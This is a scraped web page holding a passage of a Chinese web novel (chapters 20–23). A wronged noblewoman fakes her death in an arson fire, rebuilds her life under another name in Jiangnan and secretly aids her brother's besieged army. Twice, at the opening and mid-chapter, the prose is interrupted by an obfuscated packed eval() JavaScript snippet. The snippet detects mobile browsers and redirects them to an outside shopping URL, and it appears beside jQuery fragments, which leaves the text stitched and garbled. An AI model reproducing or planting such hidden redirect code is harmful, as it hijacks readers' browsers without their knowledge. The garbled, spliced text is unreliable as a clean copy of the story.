;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16544061|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,双目红肿。 在踏上马车踏板的前一瞬,黎昭月缓缓回过头,最后看了一眼身后这座恢宏的府邸。朱漆大门在晨光中泛着冰冷的光泽,高耸的院墙隔绝了内外,也彻底隔绝了她与过去的一切。 这里,曾是她懵懂倾心的开始,也曾是她绝望心死的终点。两世的爱恨情仇,悲欢离合,最终都凝固成了这冰冷建筑的一个模糊倒影。她的目光平静无波,如同在看一个与己无关的陌生之地。然后,她决然转身,弯腰钻进了那辆简陋的马车,再也没有回头。 城西别庄比想象中更为破败。几间瓦房疏于打理,墙皮剥落,院中杂草丛生,仅有的几个仆役也是老弱病残,见到黎昭月主仆,眼中只有麻木。 云舒看着这荒凉景象,眼泪又涌了上来,却强忍着不敢让黎昭月看见,只忙着收拾出一间勉强能住人的屋子。 黎昭月却对此浑不在意,也不言不语。送来的饭食,她也用得极少,身形肉眼可见地消瘦下去,原本莹润的脸颊凹陷下去,衬得那双眸子愈发大而空洞。 云舒看在眼里,急在心里,却不知如何劝解。她只能更细心地照料,将屋里唯一的炭盆烧得旺些,试图驱散那彻骨的寒意。 然而,就在这死寂的绝望中,跟随而来的是那个原黎府陪嫁的机灵小厮福安,从城里采买物品回来,带回了一个让云舒如坠冰窟的消息。 “小姐!小姐!”福安气喘吁吁地冲进院子,脸上因奔跑而涨红,“奴才……奴才今日在城里看到侯爷了!” 福安喘着粗气,“侯爷他……他带着那个曾小姐,在大街上!侯爷亲自扶着她的手臂,两人并肩走着,有说有笑,进了那可是京城最大绸缎庄!街上……街上好多人都看见了,还……说您的坏话。” 云舒闻言,气得浑身发抖:“他!他怎么可以……小姐您还在这里受苦,他却带着那个……” 黎昭月却连眼皮都未曾抬一下,仿佛听到的不过是窗外风声。她只是轻轻“嗯”了一声,表示知道了。 福安看了看小姐平静得过分的脸色,犹豫了下,还是继续道:“还有……奴才回来时,似乎感觉庄子外面,多了些陌生的面孔在晃荡,不像是附近的农户。” 黎昭月终于有了反应。 “监视?”她轻声问,语气里没有意外,只有一种了然于胸的嘲讽。 福安点了点头:“奴才不敢确定,但……很像。” 李既白果然没有完全对她放心,恐怕是怕她跑回京城闹事。黎昭月唇角勾起一抹极冷的弧度,真是煞费苦心。 夜色渐深,炭盆里的火光跳跃着,映照着黎昭月沉静的侧脸。她忽然开口,声音在寂静的夜里显得格外清晰: “云舒,福安。” 两人立刻屏息凝神。 “我们离开这里。”黎昭月说道,语气平静。 云舒和福安皆是一震。 “小姐,我们去哪儿?回黎府吗?”云舒急切地问,“国公爷一定不会不管您的!” “不。”黎昭月摇头,目光穿透窗纸,仿佛望向了更遥远的地方,“京城,不能再待了。” 李既白的监视,还有那随时可能再次降临的构陷……京城对她而言,已是龙潭虎穴。回去,不过是自投罗网,甚至可能连累父兄。 “那我们去哪儿?”福安问道,眼神里带着担忧,却有豁出去的坚定。 黎昭月收回目光,看向他们,一字一顿道:“北境。” “北境?!”云舒失声惊呼,“小姐,那里还在打仗!太危险了!而且路途遥远,没有路引,我们根本出不了城,也到不了那里!” “所以,”黎昭月的声音低沉下去,带着一种近乎冷酷的理智,“我们需要一个机会,一个能让李既白,让所有人都相信,黎昭月已经彻底消失的机会。” 云舒和福安对视一眼,心中都升起一股不祥的预感,“小姐,您的意思是……” 黎昭月站起身,走到那盏昏黄的油灯旁,拿起剪子,“假死。” 21. 第二十一章 哐当! 云舒手中的茶盏掉在地上,摔得粉碎。她脸色煞白,惊恐地捂住嘴。 福安也是浑身一僵,张大了嘴。 “小姐!这……这太……”云舒的声音抖得不成样子。 黎昭月再次做出噤声的动作,目光朝四周扫视,如今监视监听她们的人大把大把在,隔墙有耳。 她示意二人不要再说下去。 黎昭月拿起剪子,剪子在灯焰上掠过,飘来一丝焦糊的气味,“我现在可给你们银钱,你们自行离去,毕竟我的处境你们也看到了,不过一个被抛弃的人。” 她说着,嘶吼一声,泪水如线般滴落,“当初我就不该嫁与侯爷欲擒故纵这些手段也留不住他的心……” 黎昭月面上哭得痛彻心扉,屋外的人也恰好能听到,可她面上却不停挤眉弄眼。 “不!”云舒心领神会地立跪下,紧紧抓住黎昭月的裙角,“小姐在哪儿,奴婢就在哪儿!奴婢不怕!” 福安也重重磕下头去,声音哽咽:“福安的命是小姐救的,福安誓死追随小姐!” 黎昭月看着他们,心底触动,这世间,她并非全然孤身一人。 “你们,你们竟当真如此吗?跟着我,怕是食不饱穿不暖了。” “奴婢/才誓死追随小姐!” 这两天,黎昭月规划着逃离的计划,异常激动,她早就猜到李既白是装的所以并未有太大起伏,也预料到被赶出侯府的局面。 一切,都在按照她的预想所推进。 就连福安找到身形相近的尸体也进行得十分顺利,可即便如此,她过得却并不踏实。 她梦到了前世杀死曾钦宁的画面,那年大雪纷飞,白皑皑一片中只有突兀的那一抹红。跪着的曾钦宁被一剑穿透,明明双眸早已没了生气,可看向她时,却是溢出的笑意。 “黎昭月,得偿所愿。”曾钦宁就这样,死在了她的面前。 “不要……明明都是你们的错!”黎昭月反驳着,撕心裂肺般的痛。 她恨曾钦宁,可更恨的,是李既白。当初她在府内发现了曾钦宁写的一封封情书,同样的,还有一封封回信,那里无不诉说着二人无尽的爱意。黎昭月被气疯了,她与李既白成婚七年,李既白从未直抒过自己的爱意,更别提为她写信。 男人就像是捂不化的冰块,可曾钦宁却轻易得到了这一切。黎昭月一开始找到李既白大闹一场,可男人却并不承认,还告诉她另有隐情。然而第二日,李既白却带着曾钦宁参加了赏灯会,二人并肩前行,好不令人艳羡。 黎昭月不明白,李既白既然不爱她,为何还要将她困在这里,还要眼睁睁看着他与别人成双成对。 “李既白……我不要你了……”她喃喃着,眼角自然落下两行泪。仿佛置身处境,右手也带着血一般的温热。或许是老天垂怜,自从这次之后,黎昭月再未梦魇过。 —— 接下来的两日,别庄依旧死气沉沉,黎昭月依旧卧病,云舒每次都端送着几乎未动的饭食,福安则频繁外出采买。 这些天三人一直忙碌着,黎昭月也通过前世记忆规划路线以及届时赚钱和保命的法子。时间来到第十天,腊月二十三小年北,小年……祭灶,扫尘。按照惯例,京中各家各户,即便是庄子上的仆役,今日也会有些许赏钱,或可轮换着回城与家人团聚片刻。 这是他们最好的机会,正当三人打算“金蝉脱壳”时,侯府却派人过来了。 “夫人,”侍卫面无表情,对着黎昭月躬身行礼,“侯爷命属下前来,接夫人回府,即刻入宫。” “何事?” “曾小姐日前于京郊,助陛下识破了一场针对圣驾的阴谋,救驾有功。陛下龙心大悦,特在宫中设宴嘉奖曾小姐。侯爷与曾小姐已在府中等候,需与夫人一同入宫领宴。”侍卫长一板一眼地陈述着。 “知道了。”她应道,没有多余的话。既然避不开,那便去。 侯府厅内,李既白与曾钦宁早已等候在此。曾钦宁穿着一身用料考究的碧色宫装,肩头的伤似乎已无大碍,只是脸色依旧苍白疲惫,更添我见犹怜之态。 见到黎昭月进来,李既白的目光在她身上那套略显过时的礼服上停留了一瞬,随即移开,并未言语。 曾钦宁上前一步,对着黎昭月盈盈一拜,“夫人。” 黎昭月没有看她,也没有看李既白,只是微微颔首,算是回应。 “走吧,莫让陛下久等。”李既白率先向外走去,曾钦宁自然跟上,与他并肩而行。 黎昭月落在后面,看着前方那两道看似无比登对的身影,却再无波澜。 皇宫,麟德殿。 李既白作为靖安侯,位置靠前。他带着曾钦宁与黎昭月一同入席,瞬间吸引了全场大半的目光。那些目光中,有好奇,有探究,有幸灾乐祸。更有毫不掩饰的鄙夷,尽数落在形单影只的黎昭月身上。 自黎昭月下毒的事传开后,她善妒恶毒的名声便钉在了身上,更有甚者传她已被侯爷厌弃,这才被驱逐至别庄。 而她如今竟还有脸面出现在这等场合?那位曾小姐不仅容貌清丽,更兼救驾之功,与侯爷站在一起,才是真正的郎才女貌,佳偶天成。 窃窃私语声如同蚊蚋,嗡嗡作响。 皇帝显然心情极佳,对曾钦宁大加赞赏,称其“蕙质兰心,忠勇可嘉”,甚至当场赐下不少珍宝绸缎。曾钦宁跪地谢恩,言辞谦卑,举止得体,引来一片赞誉之声。 李既白坐在一旁,面色虽依旧平静,但看向曾钦宁的目光中,却带着显而易见的欣赏。 黎昭月默默看着这一切,没有以往的恼怒,因为这一世,她能够脱身了。 而一些与三皇子亲近,或是本就看不惯黎昭月往日嚣张的官员命妇,开始借着酒意,明褒暗贬。 “曾小姐不仅心地善良,更是福星高照,能得遇陛下,立此奇功,真是我朝女子楷模!” “是啊,比某些仗着家世便目中无人,甚至心肠歹毒之辈强了不知多少倍!” “听闻侯爷与曾小姐相识于微末,曾小姐更是多次助侯爷于危难,此番又救驾有功,真乃天作之合啊!” 这些话,如同淬了毒,一点点将黎昭月侵蚀。她端坐在席上,尽管心境不同,可面对这些明面的恶意,她还是需要很大力气才能维持住体面。 一旁的李既白并未出言制止,甚至未曾看黎昭月一眼,默认了这一切。 就在这时,一位素来与黎家不睦的宗室郡王,端着酒杯,摇摇晃晃地走到他们席前: “靖安侯,要本王说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559636|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这有些人啊,占着位置却无德无行,早该退位让贤了!曾小姐这般品貌,又于国有功,屈居人下,实在是委屈了!不若趁今日陛下高兴,侯爷便请旨,全了这桩美事,岂不皆大欢喜?” 此言一出,不少人露出看好戏的神情。 李既白握着酒杯的手顿了顿,似乎想说什么。 曾钦宁更是适时地露出惊慌失措,泫然欲泣的模样,连连摆手:“王爷慎言!钦宁卑微,不敢有此妄想,能陪伴侯爷与夫人左右,已是万幸……” “曾小姐,你就是太善良了,万一哪天你死在了某人手里还替人数钱呢!” 话落,黎昭月只觉一股苦酸猛地涌上喉头,眼前阵阵发黑,这酒,被下毒了。 她再也支撑不住,猛地站起身,想要离开这里。然而,就在她起身的瞬间,气血翻涌,那强压了许久的苦味再也抑制不住。 “噗——” 一口殷红的鲜血从她口中喷溅而出,染红了面前精致的菜肴,也染红了她素白的衣襟。 喧嚣的宴会戛然而止,所有目光都聚焦在那个摇摇欲坠的身影上。 黎昭月只觉得天旋地转,耳边嗡嗡作响,所有的声音都变得遥远。她不知道自己怎么变成这样了,可她知道,她不能再待在这了,她抹了把嘴角的血,面上歉意,“皇上,臣妾身体不适,恐不能再……” 她喘息着,胸腔一阵绞痛,彻底晕了过去。 黎昭月是在城西别庄里醒来的。 意识回笼的瞬间,宫宴上那些场面,以及最后眼前一黑的情形如潮水般再次将她淹没。喉咙里还残留着血腥气,胸口闷痛难当。 “小姐!您醒了!”守在一旁的云舒惊喜交加,连忙端来温水,眼睛肿得像核桃。 黎昭月就着她的手喝了两口,声音沙哑:“我们……怎么回来的?” “是侯爷派人送我们回来的。”云舒语气里带着后怕和愤懑,“您当时吐血昏倒,宫里乱成一团。侯爷就让墨痕侍卫长赶紧把您送回来了……连个太医都没派!” 她说着,眼泪又掉了下来,“他们怎么能这样对您!” 黎昭月闭上眼:“今天,还是小年吧?”她声音平静得出奇。 云舒擦了擦眼泪,“腊月二十四,小年。” 黎昭月挣扎着坐起身,“云舒,福安呢?” “福安在院里劈柴呢,小姐有何吩咐?” “叫他进来。” 福安很快进来,身上还带着屋外的寒气。 黎昭月看着他,又看看云舒:“你们听着,今日,我们必须离开。” “小姐,您的身子……”云舒急道。 “无妨。”黎昭月打断她,“死不了。若再不走,留在这里才是真正的等死。”她看向福安,“庄子上其他人,今日是否会离开?” 福安点头:“回小姐,刚听管事的老刘头嘀咕,说是侯府那边传了话,给他们半日假,晌午后便可自行回城或去附近镇上,明日再回。这会儿,估计都在收拾准备走了。” “好。”黎昭月深吸一口气,“福安,你立刻去准备,按我们之前商议的第二步计划行事。要快。” “云舒,帮我换身利落的粗布衣裳,将所有银钱细软贴身藏好。我们自己的东西,除了必要的,一概不留。” 22. 第二十二章 午后,庄子上渐渐安静下来。管事老刘头揣着刚得的几个赏钱,乐呵呵带着几个仆役离开了,只留下一个耳背眼花的老婆子看门,也早早回了自己屋里打盹。 整个别庄仿佛被遗忘在世外,只剩下死一般的寂静。 黎昭月躺在榻上,看着外面灰蒙蒙的天空,指尖紧紧掐着,就如同那日在赌场等着李既白出现般,数着时间。 她知道,这一日会有人来蓄意点火,只为拿到李既白藏匿于别庄的密信,她只要再等等,便能顺理成章地“死去”。 她之所以挑中小年这一日,并不是因为下人会放假离开,而是李既白在这两天有一件大事要出去商议,派遣了所有暗卫以及能够动用的人员前去,别庄将彻底失去保护。前世这个时候她被李既白带在身边所以知道,而这一世,这个消息却是为她“完美死亡”的最佳证据。 “云舒,福安,你们两个假寐在我身旁。”黎昭月淡淡道。 二人虽不解但照做,过了不到一刻,窗外便有一道目光射过来,那人并未走近。只是打翻了烛灯,灯油汩汩流出,浸湿了干燥的桌布,接着点起一根火柴,毫不在意地丢了下去,火焰迅速冒升,蔓延到地上的枯草垫子。 “小姐!”云舒的声音带着哭腔和恐惧。 “别动。”黎昭月轻声反驳,她能感受到那人还没走。 火势越来越大,彻底将前门包裹,柱子开始倒塌,没了出路。 黎昭月猛地睁开眼,“走!” 她率先冲到右侧,那是她提前准备的锤子,用力往后砸,“你们先出去!” 待二人出去后她才跟上,并冷冰冰地看了眼身后的屋子,一切都要重新开始了。 很快三人的身影隐没在荒草丛生的后院。福安早已在后院墙角一个隐蔽的狗洞处做了手脚,此刻轻易弄开。三人依次钻出,落入庄外更显荒凉的山野之中。 几乎在他们身影消失的下一刻,风助火势,不一会整个别庄便熊熊燃烧起来。浓烟滚滚,直冲云霄。 黎昭月三人躲在不远处的一个土坡后,回头望去。冲天的火光映红了半边灰暗的天空,噼啪的燃烧声在寂静的野外格外清晰。 “走水了!走水了!”庄子里那个耳背的老婆子终于被惊动,发出惊恐的尖叫,但这声音在旷野中显得如此微弱。 就在这时,官道方向,恰好有几个推着板车的百姓路过。他们看到庄子冒起的浓烟和火光,都吓了一跳,纷纷驻足观望。 “那不是靖安侯府的别庄吗?怎么起这么大的火?” “听说那位被休弃的侯夫人就住在这里养病呢!” “天啊!这么大的火,里面的人……” 百姓的议论声隐隐传来。 黎昭月冷冷看着这一切。人证,有了。这场突如其来的大火,以及百姓的亲眼目睹,足以坐实“靖安侯夫人黎氏,于小年日,不幸殒身于城西别庄火灾”的事实。 她最后看了眼那吞噬了她过往一切的火海,决然转身。 “我们走。” 三人借着荒草和地形的掩护,深一脚浅一脚地,朝着与京城相反的方向,快速离去。 身后,是冲天的烈焰,是即将传遍京城的死讯。身前,是未知的坎坷,是漫漫长路。 从这一刻起,世间再无靖安侯夫人黎昭月。 靖安侯夫人黎昭月“不堪受辱,引火自焚”的消息,如同投入京城这潭深水的一块石头,激起的涟漪虽大,却很快便在更多新鲜谈资中沉寂下去。勋贵圈子里唏嘘几声“红颜薄命”“性子太烈”也就抛诸脑后。一座孤坟立在荒郊,冰冷的石碑上刻着“黎氏昭月”四个字,潦草地为她画上了一个句号。 而与此同时,在南下蜿蜒的官道上,一辆青篷马车正不疾不徐地行驶着,车轮碾过混着碎石的黄土融入了南来北往的车流中,毫不起眼。 马车内,坐着位眉眼温婉,气质沉静的年轻妇人。她穿着一身半旧的棉布裙,料子普通却洗得干净,勾勒出略显单薄的身形。乌黑的发丝在脑后松松挽了一个寻常的妇人髻,只用一根素银簪子固定,除此之外,周身再无半点珠翠,腕上也不见任何镯子戒指。 她身旁跟着个丫鬟,年纪不大,眼神却透着与年龄不符的谨慎和机敏。 “小姐,前面就是淮州地界了。按福安打听的,再有大半日就能进城。”丫鬟压低声音,语气里带着长途跋涉后的疲惫,以及一丝抵达目的地的松快。 黎昭月,不,从现在起,她是江南来的寡妇“苏晚”。她微微颔首,伸出纤细的手指,轻轻掀开车帘一角。 窗外与京城截然不同的景致。天空是湿润的蓝色,远山含翠,田野间是大片大片的水塘和稻田,空气里弥漫着泥土清新气息,少了北地的干燥与肃杀。这就是江南,富庶,温软。 她望着这片陌生的天地,目光清明而坚定。 假死脱身,金蝉脱壳。这出戏,她演完了前半场。她不仅彻底摆脱了靖安侯夫人这个枷锁,更成功地躲过了所有窥探的眼睛。 至于他们信不信,她已不在乎。是以为她真的心灰意冷葬身火海,还是隐约察觉有异却在暗中搜寻,都与她无关了。从她决定放那把火开始,过去的黎昭月就已经死了。 “竹儿,”她放下车帘,声音平和,却带着一种不容置疑的力量,“记住,从今往后,世上再无黎昭月,只有苏晚。你是我的丫鬟竹儿,我们是来江南投亲不遇,打算在此做些小生意安身立命的寡妇与孤女。” “是,小姐……不,娘子。”她连忙改口,看着主子那双沉静如水的眼眸,里面再也找不到昔日的痛苦与挣扎,只有一片历经沧桑后的通透与坚韧。她心中酸涩与欣慰交织,重重地点了点头。 在淮州,她们用带来的银钱,租下了一个临水的小院。院子不大,只有三间瓦房,带着一个小小的天井,院墙爬满了青苔,显得古朴而安静。这里远离闹市,邻居多是些寻常人家,正是隐藏身份的绝佳所在。 安顿下来后,苏晚并未坐吃山空。她深知,要想真正立足,必须有自己的营生。凭借前世打理靖安侯府庞大庶务所练就的本事,以及悄悄带出的部分嫁妆银钱作为本金,她开始悄然物色机会。 她并未选择抛头露面的行当,而是将目光投向了淮州最负盛名的绣庄——“锦心坊”。她以“苏晚”的身份,带着几件自己融入了一些新颖构思的绣品前去应聘。 锦心坊的坊主是一位四十余岁的精干妇人,姓周。她起初并未将这个衣着朴素的寡妇放在眼里,但当她看到苏晚带来的绣品时,眼中顿时露出了惊艳之色。那针脚之细腻匀称,配色之雅致和谐,尤其是其中一幅双面绣的团扇,正面是喜鹊登梅,反面竟是暗藏的同色系缠枝莲纹,技艺精湛,构思巧妙,绝非普通绣娘所能及。 更让周坊主惊讶的是,苏晚言谈举止落落大方,对各类绣品的用料技法,市场行情竟也颇有见地,点评起来一针见血。 周坊主心生惜才之意,又试着让苏晚帮忙整理一批账目混乱的旧货。苏晚只用了两日,便将账目理得清清楚楚,还顺带指出了其中几处不起眼的损耗漏洞。 这下,周坊主彻底信服,当即拍板,聘请苏晚做了锦心坊的一位管事,主要负责绣品的采买和一部分账目管理,并不需要她亲自执针刺绣。 苏晚欣然应允。她低调入职,待人接物谦和有礼,处理事务却干脆利落,赏罚分明。不过月余,便以擅长品鉴的名声在坊内站稳了脚跟。她不仅将分内之事打理得井井有条,还设计了数款新颖别致,更符合江南雅士口味的图样,使得锦心坊的绣品在竞争中更胜一筹,声名愈发响亮。 渐渐地,她成了周坊主不可或缺的左膀右臂,坊内大小事务,周坊主都愿意与她商议。 新生的苏晚,如同江南绵绵春雨后破土而出的新笋,在无人注目的角落,悄然生长,坚韧而充满生机。 她知道,这只是一个开始。 接下来,她可以动作了。 这日午后,锦心坊来了一队风尘仆仆的客商。约莫七八人,皮肤黝黑粗糙,以及一股与江南水乡格格不入的硬朗之气。他们指名要采购大批上等的绢帛和带有吉祥纹样的刺绣,言明是要运往北境贩卖。 周坊主见是大主顾,亲自出面接待,苏晚作为分管采买和接洽的管事,自然也随同在侧。 为首的是一位姓胡的掌柜,约莫四十上下年纪,身材不算特别高大,却异常魁梧结实,肩膀宽阔,手掌骨节粗大,布满了老茧。他言谈爽利,带着边塞商人特有的豪迈。 “胡掌柜放心,我们锦心坊的货色,在淮州地界是出了名的。”周坊主笑着保证,示意伙计将几匹最好的杭缎展开。 胡掌柜仔细抚摸着缎面,又对着光查看绣线,点了点头:“料子是不错,这刺绣的意头也好。北边儿就认这些吉利的玩意儿,尤其是……嗯,尤其是那些常年在外的爷们儿,图个心安。” 苏晚安静地站在周坊主侧后方,目光看似随意地扫过这队客商。 在周坊主与胡掌柜商谈具体数量和交货日期时,她状似无意地轻叹一声,插话道:“北境……听闻如今很不太平,战事吃紧。黎家军的一位将军好像还被贼人困住了,迟迟未能脱险。诸位此时冒险前往,真是辛苦了,也是为了养家糊口,不得已而为之啊。” 她话音不高,带着江南女子特有的软糯,仿佛真的只是随口一句感慨。 那胡掌柜闻言,正在摩挲缎面的手几不可察地一顿,迅速抬眸看了她一眼,眼神中闪过一丝惊疑,但很快便掩饰过去,打了个哈哈,含糊其辞道:“苏管事消息灵通。不过嘛,生意人,讲究的就是个‘富贵险中求’。况且黎家军忠勇无双,威震边陲,定能逢凶化吉,扫清魑魅魍。” 她没有再说话,只是垂下眼帘,更加尽心尽力地协助周坊主与他们敲定细节。在最后结算银钱时,她拿起算盘,指尖飞快地拨动了几下,然后对周坊主低声耳语了几句。 周坊主先是愣了一下,随即看向苏晚,见她目光沉静,便点了点头,对胡掌柜笑道:“胡掌柜远来辛苦,又是往那等凶险之地行商,勇气可嘉。我们苏管事说了,愿让利一成,算是我们锦心坊对戍边将士的一点微末心意,盼诸位一路平安,也盼边境早日安宁。” 胡掌柜和他身后的几名随从皆是一怔,显然没料到会有此举。胡掌柜深深看了苏晚一眼,他抱拳,对着苏晚和周坊主行了一礼:“苏管事,周坊主,高义!胡某……代前线浴血的兄弟们,谢过二位!” 他没有说代谁,但那未尽之语,彼此心照不宣。 商队装载好货物,很快便离开了锦心坊。苏晚站在坊门口,望着他们消失在街角的背影,却久久无法平静。那是二哥的战友,她只希望自己能帮一点是一点。 几天后的一个傍晚,天色刚刚擦黑,小院的门被轻轻叩响。竹儿警惕地透过门缝看去,随即惊讶地回头,低声道:“娘子,是那位胡掌柜,一个人。” 苏晚心中一动,整 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苏晚她没有立刻回答,屋内陷入一片沉寂,只有灯花偶尔爆开的轻微噼啪声。胡掌柜也不催促,只是静静等待着,目光沉稳。 片刻后,苏晚缓缓站起身,走到内室,取出那枚拿过一次的玄铁指环,上面没有任何纹饰,只在内侧刻着一个微不可察的“雪”字。 她走回胡掌柜面前,将指环轻轻放在桌上。 “胡掌柜,”她抬起眼,声音不高,却字字清晰,“你可认得此物?” 胡掌柜猛地站起身,因为激动,身体甚至有些微微颤抖。他双手捧起那枚指环,借着昏暗的灯光仔细辨认,手指摩挲着那个“雪”字,再抬头看向苏晚时,眼中已满是难以置信的震惊和狂喜:“这……这是黎家军核心将领才有的信物!是……是黎昭雪将军的……您……您究竟是……” 苏晚看着他,褪去了“苏晚”那份刻意伪装的温婉,眸光锐利,一字一句,清晰地宣告: “我姓黎,昭雪是我二哥。”为了不吓着他,黎昭月还特意解释:“我的死,只是为了掩人耳目。” 身份挑明的瞬间,所有的试探在这一刻都化为乌有。胡掌柜,这位北境的汉子,眼圈竟微微泛红,他后退一步,对着黎昭月,郑重地行了一个军中之礼:“末将胡天彪,参见……参见小姐!” 苏晚,不,她此刻仿佛又做回了那个黎家的女儿。她虚扶一下:“胡将军不必多礼,此地只有苏晚。告诉我,二哥现在究竟如何?北境情势,到底糜烂到了何种地步?我需要知道全部实情。” 夜色深沉,小院的灯火亮至深夜。 胡天彪不再有任何隐瞒,将黎昭雪被困落鹰涧和军中粮草短缺的困局一一向黎昭月道来。 每一个字都像沉重的石头砸在黎昭月心上。她才知道,二哥的处境远比外界传闻的更加凶险,不仅是缺粮,更是陷入了赵昆与北狄精心布置的包围圈,孤立无援。而朝廷的拖延,背后显然有三皇子一党的“功劳”。 “小姐,如今最要紧的,是找到一条稳妥的渠道,将筹集到的粮草和伤药送进去。官道被赵昆的人看得死死的,寻常商队根本过不去,反而会打草惊蛇。”胡天彪眉头紧锁,这才是他们此行最难的任务。 黎昭月沉默片刻,指尖在粗糙的桌面上轻轻划动。前世,她曾替李既白处理过一些见不得光的账目,隐约知道一些南北货殖的隐秘渠道,其中不乏一些游走在灰色地带,甚至与江湖势力有所勾连的路径。 “粮草和伤药,我来想办法。锦心坊与江南各大药行米行都有往来,我可以利用采购绣坊所需物料的名义,分批分地地通过不同的商号进行采买,化整为零,避免引起注意。至于运送渠道……” 她顿了顿,声音压得更低:“我知道一条走水路的私运线,虽然风险不小,但胜在隐蔽,检查也相对宽松。只是需要打点的关节很多,也需要绝对可靠的人来押运。” 胡天彪眼睛一亮:“小姐放心,押运的人我们来安排,都是军中好手,绝对可靠!只是这打点关节和联络私运线的事……” “交给我。”黎昭月语气斩钉截铁。她不再是需要被保护的弱质女流,而是隐藏在江南水乡的一条暗线,一个能利用现有资源和前世记忆,为北境输血的隐秘枢纽。 接下来的日子,苏晚的生活变得更加忙碌,也更加隐秘。她依然是锦心坊那个沉稳干练的苏管事,但暗地里,她开始不动声色地运作起来。通过周坊主的人脉,她结识了几位药行和米行老板,以各种名义开始小批量多批次地采购北境急需的药材和耐储存的粮食。 她心思缜密,每一笔采购都记录在绣坊的公账上,做得天衣无缝。采购来的物资,也并不直接运往小院,而是通过胡天彪留下的秘密联络点,等待时机。 同时,她凭借前世的记忆和胡天彪提供的线索,开始接触那条隐秘的水路私运线。这需要大量银钱打点,也需要极高的谈判技巧。她不敢动用太多嫁妆银钱以免引人怀疑,便利用绣坊管事的职权,在一些不起眼的物料采购中稍稍提高报价,积少成多,再将这笔“额外”的收益,全部投入其中。整个过程如履薄冰,任何一个环节出错,都可能前功尽弃,甚至引来杀身之祸。 然而,就在黎昭月于江南暗中织网,全力支援北境之时,京城的漩涡并未因她的“死亡”而平息,反而暗流更加汹涌。 靖安侯府内,李既白在经历短暂的、人前表现出的“悲痛”与“震怒”之后,似乎变得更加冷酷和难以捉摸。 23. 第二十三章 他抚上玉镯,仿佛这样还能感受到那人的气息。可刚触碰到那裂痕,“咔嚓”一声脆响,玉镯骤然崩裂。碎片溅在掌心,划开几道血痕,血珠渗出来,他却浑然不觉。只是怔怔望着散落的玉片,眼眶倏地红了。 黎昭月留下的唯一念想,如今也碎了。他眼底凝着湿意,目光却放空来。 ——回忆 李既白坐在书案后,面前摊开着几份刚送来的密报。曾钦宁坐在下首,正低声与他分析着三皇子近日的动向。 突然,书房门被急促敲响,不等回应,府中管事连滚带爬地跌了进来,面无人色:“侯爷!不好了!城西别庄……走水了!火势太大,夫人,夫人她……没能逃出来!” 空气仿佛瞬间凝固。 李既白执笔的手一顿,一滴浓墨猝然滴落在密报上,迅速晕开,污了那片象征着北境的山川。 他缓缓抬头,脸上没有任何表情,“走水,没能逃出来?”他重复了一遍,声音平稳得可怕。 “是……是!火灭之后……只在废墟里找到一具……一具烧得面目全非的尸身!还有夫人贴身丫鬟云舒,和小厮福安的尸身!”管事伏在地上,声音抖得不成调。 李既白沉默着。书房内只剩下管事大口的喘息声。曾钦宁放在膝上的手无意识收紧,指甲掐入了掌心,但她迅速垂眸,掩去了所有情绪。 片刻后李既白才放下笔,动作甚至称得上从容。他站起身,绕过书案,走到管事面前,居高临下地看着他。 “尸身,确认了吗?”他问,语气依旧平淡。 “身形……身形与夫人相仿,庄子上留守的老婆子也指认了那废墟的位置就是夫人住所……而且,当时有几个路过的百姓都看见了冲天大火,可以做证……” “知道了。”李既白打断他,声音里听不出喜怒,“按规矩办后事吧。低调处理,不必声张。” 他甚至没有追问细节,没有表现出丝毫要去亲眼看一眼的意图。那平淡的态度,冷漠得让管事都怔住了,连呼吸都忘了。 “侯爷……”管事下意识抬头,想再说些什么。 “下去。”李既白的声音骤然转冷,带着威压。 管事吓得一个哆嗦,连滚带爬地退了出去。 书房门重新关上。 李既白站在原地,背对着曾钦宁,身形挺拔如松,仿佛刚才听到的不过是一个无关紧要的消息。只有离他最近的曾钦宁,能看到他负在身后的手,指节攥得死白,手背上青筋虬结。 他在极力克制。 “或许,我们应该去看看。”曾钦宁悄然起身,走到他身侧,声音低得只有两人能听见:“黎小姐很聪明的。” 李既白对上曾钦宁的眸子,像枯木突然沾了春露,瞬间有了神采。 是啊,也许昭昭在耍脾气,可能是她故意放的火营造假死。毕竟昭昭喜好自由,也极其聪明。这一切,都可能是她的计划。 “说得对。”李既白呼吸轻快了些,“备马,去看看那黎昭月到底在耍什么花样。” 他带着曾钦宁一同去到别庄。可也是这个时候,墨痕告诉他别庄的密信不见了,他这才察觉到不对劲。 曾钦宁垂着眼,意识到了什么,浑身像被抽干了力气,“今日难道是调虎离山,只为了那封些密信?” 李既白没有反应,他捏紧拳头,却最不希望是这种结果。 别庄被大火侵蚀得只剩岌岌可危的几个石柱,一切几乎变为废墟。而黎昭月所住的院子是里面烧痕最为严重的。 李既白看到这一幕时心跳都慢了一拍,他摇着脑袋,控制自己走上前。 他走上前,榻上躺着的尸身手上挂着些融化的东西,唯一可见的便是一只满是裂痕的镯子。而另外两具尸体,则不那么“规则”,是单独在另一隔间的,附近的地面还依稀看得出血迹,像是逃跑时撞出的,一切都那么逼真。 昭昭,你果然很聪明,竟然知道找三具身形相似的尸体来掩人耳目……只是,你这“死亡”的姿势太过分了,竟然是躺在床上。 李既白面上阴霾散去,他得到了想要的结果,不打算留在这里了,“我们走……” 